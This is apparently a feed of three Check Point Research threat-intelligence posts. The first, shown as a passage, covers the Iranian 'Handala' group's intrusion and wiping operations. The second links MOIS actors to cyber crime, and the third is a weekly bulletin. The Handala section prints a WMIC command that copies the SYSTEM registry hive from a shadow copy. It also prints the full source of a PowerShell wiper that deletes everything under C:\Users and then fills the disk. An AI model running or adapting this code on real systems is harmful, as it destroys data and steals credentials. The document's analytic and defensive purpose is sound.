The adversary then proceeded with credential extraction using multiple techniques. These included dumping the LSASS process using comsvcs.dll via rundll32.exe, as well as exporting sensitive registry hives such as HKLM. In parallel, the attacker executed ADRecon (named dra.ps1), a PowerShell-based reconnaissance framework used to enumerate Active Directory environments. At this point, it likely achieved Domain Admin credentials used in “Handala”s wiping attack.

wmic.exe /node:[REDACTED_HOSTNAME] /user:[REDACTED] /password:[REDACTED] process call create "cmd.exe /c   copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system  c:\users\public”

Lateral Movement

Handala is known to operate primarily in a manual, hands-on manner, with lateral movement conducted largely through extensive use of RDP to move between systems within a compromised environment. To reach hosts that were not directly accessible from outside the network, the group was observed deploying NetBird, a platform designed to create secure, private zero-trust mesh networks.

The deployment of NetBird was performed manually. The attackers first connected to compromised hosts via RDP and then used the local web browser to download the software directly from the official NetBird website.

By installing NetBird on multiple machines within the environment, the attackers were able to establish internal connectivity between systems and operate more efficiently. This approach enabled them to accelerate destructive activity while maintaining control of the operation from multiple footholds inside the network. During the incident, we observed at least five distinct attacker-controlled machines operating simultaneously within the environment.

Wiping Operations

During the destructive phase of the attack, we observed the group deploying four distinct wiping techniques in parallel, likely to maximize impact and inflict the greatest possible damage. To further increase the effect, the threat actor used Group Policy to distribute the different wipers across the network.

Handala Wiper

The first stage involved the deployment of a custom wiper, referred to as Handala Wiper (in some instances named handala.exe).

The wiper was distributed across the network as a scheduled task using Group Policy logon scripts, which executed a batch file named handala.bat. This script simply triggered the execution of two wiper components – the executable and the PowerShell script. Notably, the executable itself was launched remotely from the Domain Controller (DC) and was not written to disk on the affected machines. The malware overwrites file contents across the system and additionally leverages MBR-based wiping techniques to corrupt or destroy files on the system, contributing to significant data loss.

Figure 3 – Wiper execution of Handala Wiper

Handala PowerShell Wiper

As a final stage of the destructive operation, the attackers deployed an additional custom PowerShell-based wiper. Similar to the previous component, this script was also distributed through Group Policy logon scripts, allowing it to propagate across multiple systems within the network.

The PowerShell wiper performs a straightforward but effective operation: it enumerates all files within users directories and deletes them, further compounding the damage caused by the initial wiping activity. Based on the code structure and the detailed comments, it is likely that this PowerShell script was developed with AI assistance.

$usersFolder = C:\Users
 
# Ensure the folder exists
if (Test-Path $usersFolder) {
    # Get all items in C:\Users, but not the Users folder itself
    $items = Get-ChildItem -Path $usersFolder -Recurse
 
    # Remove each item (files and subfolders) inside C:\Users
    foreach ($item in $items) {
        try {
            Remove-Item -Path $item.FullName -Recurse -Force -ErrorAction Stop
        } catch {
            Write-Host Could not delete: $($item.FullName)
        }
    }
}
 
 
 
$sourceFile = \\[REDACTED]\SYSVOL\[REDACTED]\scripts\Administtration\install\handala.rar
$destinationFolder = C:\users
 
 
if (!(Test-Path $destinationFolder)) {
    New-Item -ItemType Directory -Path $destinationFolder | Out-Null
}
 
$driveLetter = (Split-Path $destinationFolder -Qualifier).TrimEnd(':','\')
 
$i = 0
 
while ((Get-PSDrive $driveLetter).Free -gt (Get-Item $sourceFile).Length) {
    Copy-Item $sourceFile $destinationFolder\Handala_$i.gif
    $i++
}

Use of Disk Encryption for Destruction

In addition to the custom wiping tools, we observed the attackers attempting to leverage VeraCrypt, a legitimate and widely used disk encryption utility. In this case, the attacker connected to the compromised host via RDP and used the system’s default web browser to download the software directly from the official website. By encrypting the system drives using a legitimate tool, the attackers added an additional layer to the destructive process. This technique not only increases the operational impact but can also complicate recovery efforts, as encrypted disks may remain inaccessible even if other wiping components fail or are only partially successful.

Manual Deletion

In some cases, Handala Hack operators manually delete virtual machines directly from the virtualization platform or files from compromised machines. This straightforward process involves logging in via RDP, selecting all files, and deleting them. We observed this behavior in several incidents, and it is also documented in Handala Hack’s own videos and leaked materials.

Summary

In this report, we detailed the background of the “Handala Hack” persona and its links to Void Manticore, an actor affiliated with Iran’s Ministry of Intelligence and Security (MOIS). Handala is not the only persona maintained by this actor, which operates several fronts in campaigns targeting the United States, Israel, and Albania.

Like many destructive threat actors, Handala relies on relatively simple TTPs, largely aiming for quick, opportunistic wins through hands-on operations against its targets. These activities include gaining initial access through compromised credentials, moving laterally via RDP and basic tunneling tools, and deploying wipers alongside manual destructive actions. Their modus operandi has not shifted significantly, and strengthening defenses against these techniques remains an effective way to counter this threat.

Recommendations for Defenders

  • Enforce multi-factor authentication, especially for remote access and privileged accounts
  • Monitor for the use of compromised credentials and suspicious authentication activity, with an emphasis on the following:
    • Logins from countries not previously observed for your organization or specific users
    • Unusual access patterns, including:
      • First-time logins outside typical hours
      • Multiple failed logins followed by success
      • New device registrations
      • Unusual data transfer volumes during VPN sessions
      • Authentication from new ASN/hosting providers
    • Restrict access from high-risk geographies and infrastructure
      • Block inbound connections from Iran at the perimeter and on remote access services (VPN/SSO), unless there is a verified business need
      • Block or tightly restrict Starlink IP ranges, given observed abuse in Iranian actor operations
      • If full blocking is not feasible, implement conditional access controls, increased authentication requirements, and enhanced monitoring for these ranges
    • Consider temporarily tightening remote access policies If operationally possible, temporarily restrict VPN connectivity to to business related countries only, with exceptions approved based on business need (e.g., whitelisted users/locations, dedicated jump hosts, or managed devices only).
  • Restrict and harden RDP access across the environment; disable it where not operationally required. Actively search for RDP access from machines with the default Windows naming conventions (i.e DESKTOP-XXXXXX OR WIN-XXXXXXXX), specially outside of working hours
  • Monitor for the use of potentially unwanted software, including remote management and monitoring (RMM) tools, VPN applications such as NetBird, and tunneling utilities such as SSH for windows

IOCs

TypeIOC
Handala Wiper5986ab04dd6b3d259935249741d3eff2
Handala Powershell Wiper3cb9dea916432ffb8784ac36d1f2d3cd
VeraCrypt Installer3236facc7a30df4ba4e57fddfba41ec5
NetBird Installer3dfb151d082df7937b01e2bb6030fe4a
NetBirde035c858c1969cffc1a4978b86e90a30
Handala VPS82.25.35[.]25
Handala VPS31.57.35[.]223
Handala VPS107.189.19[.]52
VPN exit node used by Handala146.185.219[.]235
Starlink IP range used by Handala188.92.255.X
Starlink IP range used by Handala209.198.131.X
Commercial VPN IP range used by Handala149.88.26.X
Commercial VPN IP range used by Handala169.150.227.X
Handala Machine Names
WIN-P1B7V100IIS
DESKTOP-FK1NPHF
DESKTOP-R1FMLQP
WIN-DS6S0HEU0CA
DESKTOP-T3SOB36
WIN-GPPA5GI4QQJ
VULTR-GUEST
DESKTOP-HU45M79
DESKTOP-TNFP4JF
DESKTOP-14O69KQ
DESKTOP-9KG46L1
DESKTOP-G2MH4KD
WIN-DS6S0HEU0CA
WIN-GPPA5GI4QQJ

MITRE ATT&CK Breakdown

ATT&CK TacticTechniqueObserved Activity
Initial AccessT1133 – External Remote ServicesUse of compromised VPN access for entry into victim environments.
Initial AccessT1078.002 – Valid Accounts: Domain AccountsUse of stolen/supplied credentials, including Domain Admin credentials.
Initial AccessT1199 – Trusted RelationshipTargeting of IT and service providers.
Credential AccessT1110 – Brute ForceRepeated logon and brute-force attempts against VPN infrastructure.
Credential AccessT1003.001 – OS Credential Dumping: LSASS MemoryLSASS dumping via rundll32 and comsvcs.dll.
Credential AccessT1003.002 – OS Credential Dumping: Security Account ManagerExport of sensitive registry hives for credential extraction.
DiscoveryT1087.002 – Account Discovery: Domain AccountADRecon used to enumerate the Active Directory environment.
Lateral MovementT1021.001 – Remote Services: Remote Desktop ProtocolExtensive hands-on lateral movement over RDP.
Command and ControlT1572 – Protocol TunnelingNetBird used to tunnel traffic and reach internal hosts.
ExecutionT1105 – Ingress Tool TransferNetBird and VeraCrypt downloaded directly onto victim systems.
ExecutionT1047 – Windows Management InstrumentationWMIC was used to run commands.
Execution / PersistenceT1484.001 – Group Policy ModificationWipers distributed via GPO.
Execution / PersistenceT1037.003 – Network Logon ScriptLogon scripts used to trigger destructive components.
ExecutionT1053.005 – Scheduled TaskHandala wiper launched as a scheduled task.
ExecutionT1059.001 – PowerShellAI-assisted PowerShell wiper used for destructive activity.
ImpactT1561.002 – Disk Structure WipeMBR-based wiping by the custom Handala wiper.
ImpactT1485 – Data DestructionFile deletion, manual deletion, and destructive cleanup.
ImpactT1486 – Data Encrypted for ImpactVeraCrypt used to encrypt disks as part of the attack.

The post “Handala Hack” – Unveiling Group’s Modus Operandi appeared first on Check Point Research.

  •  

Iranian MOIS Actors & the Cyber Crime Connection

Key Points

  • Iran-linked actors are increasingly engaging with the cyber crime ecosystem. Their activity suggests a growing reliance on criminal tools, services, and operational models in support of state objectives.
  • Iranian actors have long used cyber crime and hacktivism as cover for destructive activity, but the trend now suggests direct engagement with the criminal ecosystem.
  • This dynamic appears most prominently among Ministry of Intelligence and Security (MOIS)-linked actors, particularly Void Manticore (a.k.a “Handala Hack”) and MuddyWater, where repeated overlaps with criminal tools, services, or clusters have been observed.
  • Such engagement offers a dual advantage: it enhances operational capabilities through access to mature criminal tooling and resilient infrastructure, while complicating attribution and contributing to recurring confusion around Iranian threat activity.

Introduction

For years, Iranian intelligence services have operated through deniable criminal intermediaries in the physical world. A similar pattern is now becoming visible in cyber space, where state objectives are increasingly pursued through criminal tools, services, and operational models. Notably, this dynamic appears with growing frequency in activity associated with actors linked to the Ministry of Intelligence and Security (MOIS).

For a long time, Iranian actors sought to mask state activity behind the appearance of ordinary cyber crime, most often by posing as ransomware operators. The trend we are seeing now goes beyond imitation. Rather than simply adopting criminal and hacktivist personas to complicate attribution, some Iranian actors appear to be associating with the cyber criminal ecosystem itself, leveraging its malware, infrastructure, and affiliate-style mechanisms. This shift matters because it does more than improve deniability; it can also expand operational reach and enhance technical capability.

In this blog, we examine several cases that reflect this evolution, including Iranian-linked use of ransomware branding, commercial infostealers, and overlaps with criminal malware clusters. Taken together, these examples suggest that for some MOIS-associated actors, cyber crime is no longer just a cover story, but an operational resource.

Background – MOIS and Criminal Activity

Long before concern shifted to the digital arena, some of the clearest signs of cooperation between Iran’s intelligence services and criminal actors appeared in plots involving surveillance, kidnappings, shootings, and assassination attempts. In those cases, the value of criminal networks was straightforward: they gave Tehran reach, deniability, and access to people willing to carry out violence at arm’s length.

According to the U.S. Treasury, one of the clearest examples involved the network led by narcotics trafficker Naji Ibrahim Sharifi-Zindashti, which Treasury said operated at the behest of MOIS and targeted dissidents and opposition activists. The FBI has similarly said that an MOIS directorate operated the Zindashti criminal network and its associates against Iranian dissidents in the United States.

Sweden has described a similar pattern. According to Sweden’s Security Service, the Iranian regime has used criminal networks in Sweden to carry out violent acts against states, groups, and individuals it sees as threats; Swedish officials later linked that concern to attacks aimed at Israeli and Jewish targets, including incidents near Israel’s embassy in Stockholm.

Recent activity we have analyzed and associate with MOIS-affiliated cyber actors suggests that the same logic is now being applied in the cyber domain. The emphasis is not only on imitating cyber criminal behavior, but on associating with the cyber criminal ecosystem itself: drawing on its infrastructure, access brokers, marketplaces, and affiliate-style relationships.

Void Manticore (Handala) and Rhadamanthys

Void Manticore, an Iranian threat actor linked to several hack-and-leak personas, is one of the most active groups pursuing strategic objectives through cyber operations. It has leveraged “hacktivistic” personas such as Homeland Justice in attacks against Albania and Handala in operations targeting Israel. While the group is most commonly associated with “hack and leak” operations and disruptive attacks, particularly wiper operations, the emergence of its Handala persona also revealed the use of a commercial infostealer sold on darknet forums: Rhadamanthys.

Figure 1 - A Handala email impersonating the Israeli National Cyber Directorate (INCD) delivering Rhadmanthys.
Figure 1 – A Handala email impersonating the Israeli National Cyber Directorate (INCD) delivering Rhadmanthys.

Rhadamanthys is a widely used infostealer employed by a range of threat actors, including both financially motivated groups and state-sponsored operators. It has built a strong reputation due to its complex architecture, active development, and frequent updates. Handala used Rhadamanthys on several occasions, pairing it with one of its custom wipers in phishing lures aimed at Israeli targets, most dominantly impersonating F5 updates.

MuddyWater – Tsundere Botnet and the Castle Loader Connection

MuddyWater, a threat actor that U.S. authorities have linked to Iran’s MOIS, has conducted cyber espionage and other malicious operations focused on the Middle East for years. According to CISA, MuddyWater is a subordinate element within MOIS and has carried out broad campaigns in support of Iranian intelligence objectives, targeting government and private-sector organizations across sectors including telecommunications, defense, and energy.

Recent reports detailing the activity of MuddyWater link its operations to several cyber crime clusters of activity. This appears to work in the actors’ favor: the use of such tools has created significant confusion, leading to misattribution and flawed pivoting, and clustering together activities that are not necessarily related. This demonstrates that the use of criminal software can be effective for obfuscation, and highlights the need for extreme caution when analyzing overlapping clusters.

Figure 2 - Summary of MuddyWater connections to criminal activity.
Figure 2 – Summary of MuddyWater connections to criminal activity.

To address this, we attempted to bring structure to the available evidence, to the best of our ability, and identify which activity is truly associated with MuddyWater.

Tsundere Botnet (a.k.a DinDoor)

The Tsundere Botnet was first uncovered in late 2025 and was later linked to MuddyWater. Large parts of its activity rely on Node.js and JavaScript scripts to execute code on compromised machines. In several instances observed in the wild, when the Node.js engine is detected, the botnet shifts to an alternative execution method using Deno, a runtime for JavaScript and TypeScript. Since Deno-based execution had not previously been associated with Tsundere, researchers linking this activity to MuddyWater designated this variant as DinDoor.

Given that two separate sources linked Tsundere to MuddyWater, one via a VPS and the other through vendor telemetry, it is likely that MuddyWater uses the botnet as part of its operations. Another overlap between DinDoor-related activity and known MuddyWater tradecraft is the use of rclone to access a Wasabi server, which traces back to an IP address previously associated with MuddyWater (18.223.24[.]218, linked to eb5e96e05129e5691f9677be4e396c88).

Castle Loader Connection (a.k.a FakeSet)

Another malware family recently linked to MuddyWater is FakeSet, which, according to our analysis, is a downloader used in recent infection chains delivering CastleLoader. CastleLoader operates as a Malware-as-a-Service offering used by multiple affiliates. Based on our understanding, the reported link between CastleLoader and MuddyWater stems from the use of a set of code-signing certificates, specifically under the Common Names “Amy Cherne” and “Donald Gay”. Certificates with these common names were also used to sign MuddyWater malware (“StageComp”), Tsundere Deno malware (“DinDoor”), and CastleLoader (“FakeSet”) variants.

In our assessment, this does not necessarily indicate that MuddyWater is a CastleLoader affiliate; rather, it suggests that both may have obtained certificates from the same source.

Iranian Qilin Affiliates

In October 2025, Israeli Shamir Medical Center was hit by a major cyber attack that was initially described as a ransomware incident. The attackers claimed to have stolen a large amount of data and demanded a ransom in exchange for not publishing it. Israeli officials said the attack did not affect hospital operations and patient care was not significantly disrupted. Still, some information appears to have been leaked, including limited email correspondence and certain medical data.

Figure 3 - Shamir Medical Center on Qilin Leak Site
Figure 3 – Shamir Medical Center on Qilin Leak Site

At first, the attack was presented as a ransomware incident linked to the Qilin group, but later Israeli assessments pointed much more directly to Iranian actors as the real force behind it. Qilin is known as a ransomware-as-a-service (RaaS) operation, meaning it provides ransomware infrastructure and tooling to outside partners or “affiliates” who actually carry out intrusions. In this case, the emerging picture was that the attackers were likely Iranian-affiliated operators working through the cyber criminal ecosystem, using a criminal ransomware brand and methods associated with the broader extortion market, while serving a strategic Iranian objective.

This attack did not occur in isolation. It appears to be part of a broader, sustained campaign by MOIS and Hezbollah to target Israeli hospitals, a pattern that has been evident since late 2023. The use of Qilin, and participation in its affiliate program, likely serves not only as a layer of cover and plausible deniability, but also as a meaningful operational enabler, especially as earlier attacks appear to have heightened security measures and monitoring by Israeli authorities.

Conclusion

The cases examined in this blog show that, for some Iranian actors, cyber crime is no longer just a cover for state-directed activity. Across these examples, the pattern is not limited to the appearance of criminal behavior, but includes the use of criminal malware, ransomware branding, and affiliate-style ecosystems in support of strategic objectives. This reflects a clear shift from simply imitating cyber criminals to actively leveraging the cyber crime ecosystem.

This shift matters because it delivers clear operational benefits. For MOIS-linked actors in particular, engagement with criminal tools and services enhances capabilities while complicating attribution and fueling confusion around Iranian activity. Taken together, the cases discussed here show that cyber crime has become not just camouflage, but a practical operational resource.

Indicators of Compromise

Handala Rhadmanthys Variants

aae017e7a36e016655c91bd01b4f3c46309bbe540733f82cce29392e72e9bd1f

Malware samples signed with suspicious certificates

sha256 Certificate Common Name Certificate Thumbprint Certificate Serial Number Malware Family
077ab28d66abdafad9f5411e18d26e87fe43da1410ee8fe846bd721ab0cb52de Amy Cherne 0902d7915a19975817ec1ccb0f2f6714aed19638 330007f1068f41bf0f662a03b500000007f106 FakeSet / CastleLoader
ddceade244c636435f2444cd4c4d3dc161981f3af1f622c03442747ecef50888 Amy Cherne 0902d7915a19975817ec1ccb0f2f6714aed19638 330007f1068f41bf0f662a03b500000007f106 FakeSet / CastleLoader
2b7d8a519f44d3105e9fde2770c75efb933994c658855dca7d48c8b4897f81e6 Amy Cherne 2087bb914327e937ea6e77fe6c832576338c2af8 330006df515a14fe3748416fe200000006df51 FakeSet / CastleLoader
64cf334716f15da1db7981fad6c81a640d94aa1d65391ef879f4b7b6edf6e7f1 Amy Cherne 21a435ecaa7b86efbec7f6fb61fcda3da686125c 330006e75231f49437ae56778a00000006e752 FakeSet / CastleLoader
74db1f653da6de134bdc526412a517a30b6856de9c3e5d0c742cb5fe9959ad0d Amy Cherne 389b12da259a23fa4559eb1d97198120f2a722fe 330007d5443a7d25208ec5feb100000007d544 FakeSet / CastleLoader
94f05495eb1b2ebe592481e01d3900615040aa02bd1807b705a50e45d7c53444 Amy Cherne 389b12da259a23fa4559eb1d97198120f2a722fe 330007d5443a7d25208ec5feb100000007d544 FakeSet / CastleLoader
4aef998e3b3f6ca21c78ed71732c9d2bdcc8a4e0284f51d7462c79d446fbc7be Amy Cherne 579a4584a6eef0a2453841453221d0fb25c08c89 33000700e919066fd9db11bac70000000700e9 FakeSet / CastleLoader
a4bd1371fe644d7e6898045cc8e7b5e1562bdfd0e4871d46034e29a22dec6377 Amy Cherne d920ae0f8ea8b5bd42de49e01c6bbd4c2c6d0847 330007ebfbe75a64b52aaf4cb700000007ebfb FakeSet / CastleLoader
64263640a6fdeb2388bca2e9094a17065308cf8dcb0032454c0a71d9b78327eb Donald Gay f8444dfc740b94227ab9b2e757b8f8f1fa49362a 3300072b29c3bf8403a6c15be2000000072b29 FakeSet / CastleLoader
a8c380b57cb7c381ca6ba845bd7af7333f52ee4dc4e935e98b48bb81facad72b Donald Gay 9dcb994ea2b8e6169b76a524fae7b2d2dcd1807d 33000725fea86dd19e8571b26c0000000725fe FakeSet / CastleLoader
24857fe82f454719cd18bcbe19b0cfa5387bee1022008b7f5f3a8be9f05e4d14 Donald Gay b674578d4bdb24cd58bf2dc884eaa658b7aa250c 3300079a51c7063e66053d229b000000079a51 StageComp
a92d28f1d32e3a9ab7c3691f8bfca8f7586bb0666adbba47eab3e1a8faf7ecc0 Donald Gay b674578d4bdb24cd58bf2dc884eaa658b7aa250c 3300079a51c7063e66053d229b000000079a51 StageComp
2a09bbb3d1ddb729ea7591f197b5955453aa3769c6fb98a5ef60c6e4b7df23a5 Amy Cherne 551bdf646df8e9abe04483882650a8ffae43cb55 330006e15e43401dbd9416e20e00000006e15e DinDoor / Tsundere Deno

The post Iranian MOIS Actors & the Cyber Crime Connection appeared first on Check Point Research.

  •  

9th March – Threat Intelligence Report

For the latest discoveries in cyber research for the week of 9th March, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

  • AkzoNobel, a Netherlands-based global paint manufacturer, has confirmed a cyberattack affecting one of its United States sites. The company said the intrusion was contained, while the Anubis ransomware group claimed it stole 170 GB of data, including employee and financial records.
  • LexisNexis, a global legal data and analytics provider, has suffered a breach. Attackers claimed they stole 3.9 million records, including about 400,000 user profiles and some government accounts, while the company said the exposed systems mainly held legacy pre-2020 data.
  • The Wikimedia Foundation, the nonprofit behind Wikipedia, has faced a self-propagating JavaScript worm that vandalized pages and replaced editor scripts across multiple wikis. Engineers briefly restricted editing while cleaning up the incident, with about 3,996 pages modified and roughly 85 users’ personal scripts affected.
  • TriZetto Provider Solutions, an American healthcare technology company owned by Cognizant, has disclosed a breach affecting more than 3.4 million people. The exposed data includes insurance and medical information, with notifications issued this week after investigators determined the unauthorized access began in 2024.

AI THREATS

  • Researchers outlined how Pakistan-linked APT36 has used AI coding tools to produce large volumes of low-quality malware aimed at Indian government entities and embassies. The group generated variants in less common programming languages and used legitimate cloud services for command channels, complicating detection and response.
  • Researchers uncovered AI-themed Chrome and Edge extensions that harvest LLM chat histories and browsing activity. Distributed via the Chrome Web Store, they impersonate legitimate tools and have impacted 900,000 users across 20,000 enterprise environments.
  • Researchers tracked a campaign abusing interest in OpenClaw, an AI agent, by planting fake installers on GitHub that appeared in Bing search results. The installers delivered Vidar to steal credentials and cryptocurrency wallets and sometimes deployed GhostSocks, turning infected systems into residential proxies.
  • Researchers demonstrated indirect prompt injection campaigns against AI agents that read web content, cataloging 22 techniques across live sites. Hidden instructions can redirect agents to expose data, perform unauthorized transactions, and run server commands, and the researchers also observed a real-world bypass of an AI ad review system.

VULNERABILITIES AND PATCHES

  • Google has published patches for CVE-2026-0628, a high-severity vulnerability in Chrome’s Gemini AI panel that allowed malicious extensions to inject code and access cameras and microphones. Researchers showed attackers could also take screenshots, access local files, and launch phishing content inside the panel.
  • A patch was released for CVE-2026-1492, a critical (9.8 CVSS) privilege escalation flaw in the User Registration & Membership WordPress plugin. The vulnerability lets unauthenticated attackers create administrator accounts and take over sites.
  • VMware has patched CVE-2026-22719, a high-severity command injection flaw in Aria Operations, its cloud management platform. The vulnerability allows unauthenticated remote code execution during support-assisted migrations and affects versions 8 through 8.18.5 and 9 through 9.0.1, with patches and a workaround script available.
  • Qualcomm has addressed CVE-2026-21385, a memory corruption vulnerability affecting chipsets used in Android phones, tablets, and IoT devices. The flaw can trigger crashes and potentially allow code execution, and CISA said evidence of active exploitation prompted its addition to the Known Exploited Vulnerabilities catalog.

THREAT INTELLIGENCE REPORTS

  • Check Point Research have mapped Iran-linked cyber clusters conducting espionage, disruption, and influence operations, including Cotton Sandstorm, Educated Manticore, MuddyWater, Handala, and Agrius. Recent campaigns used impersonation and phishing to steal credentials, remote access tools to persist, and wipers or fake ransomware for impact.
  • Check Point Research revealed that, amid the ongoing conflict with Iran, IP cameras in Israel, Qatar, Bahrain, Kuwait, the UAE, and Cyprus have been intensively targeted. Notably, these countries have also experienced significant missile activity from Iran. The findings align with the assessment that Iran incorporates compromised cameras into its operational doctrine, using them both to support missile operations and to conduct ongoing battle damage assessment (BDA).
  • Check Point Research has profiled Silver Dragon, a Chinese-aligned group linked to APT41 that targeted government and enterprise networks across Southeast Asia and Europe. Recent operations used the GearDoor backdoor with SSHcmd and SilverScreen, enabling remote access, covert screen capture, and stealthy control after phishing and server exploitation.

Check Point Harmony Endpoint and Threat Emulation provide protection against these threats

  • Researchers have uncovered Coruna, an iPhone exploit kit used by Chinese scammers and Russia-linked operators to compromise devices through malicious websites. The toolkit used 23 exploits against iOS and deployed malware that stole cryptocurrency, emails, and photos.

The post 9th March – Threat Intelligence Report appeared first on Check Point Research.

  •  
❌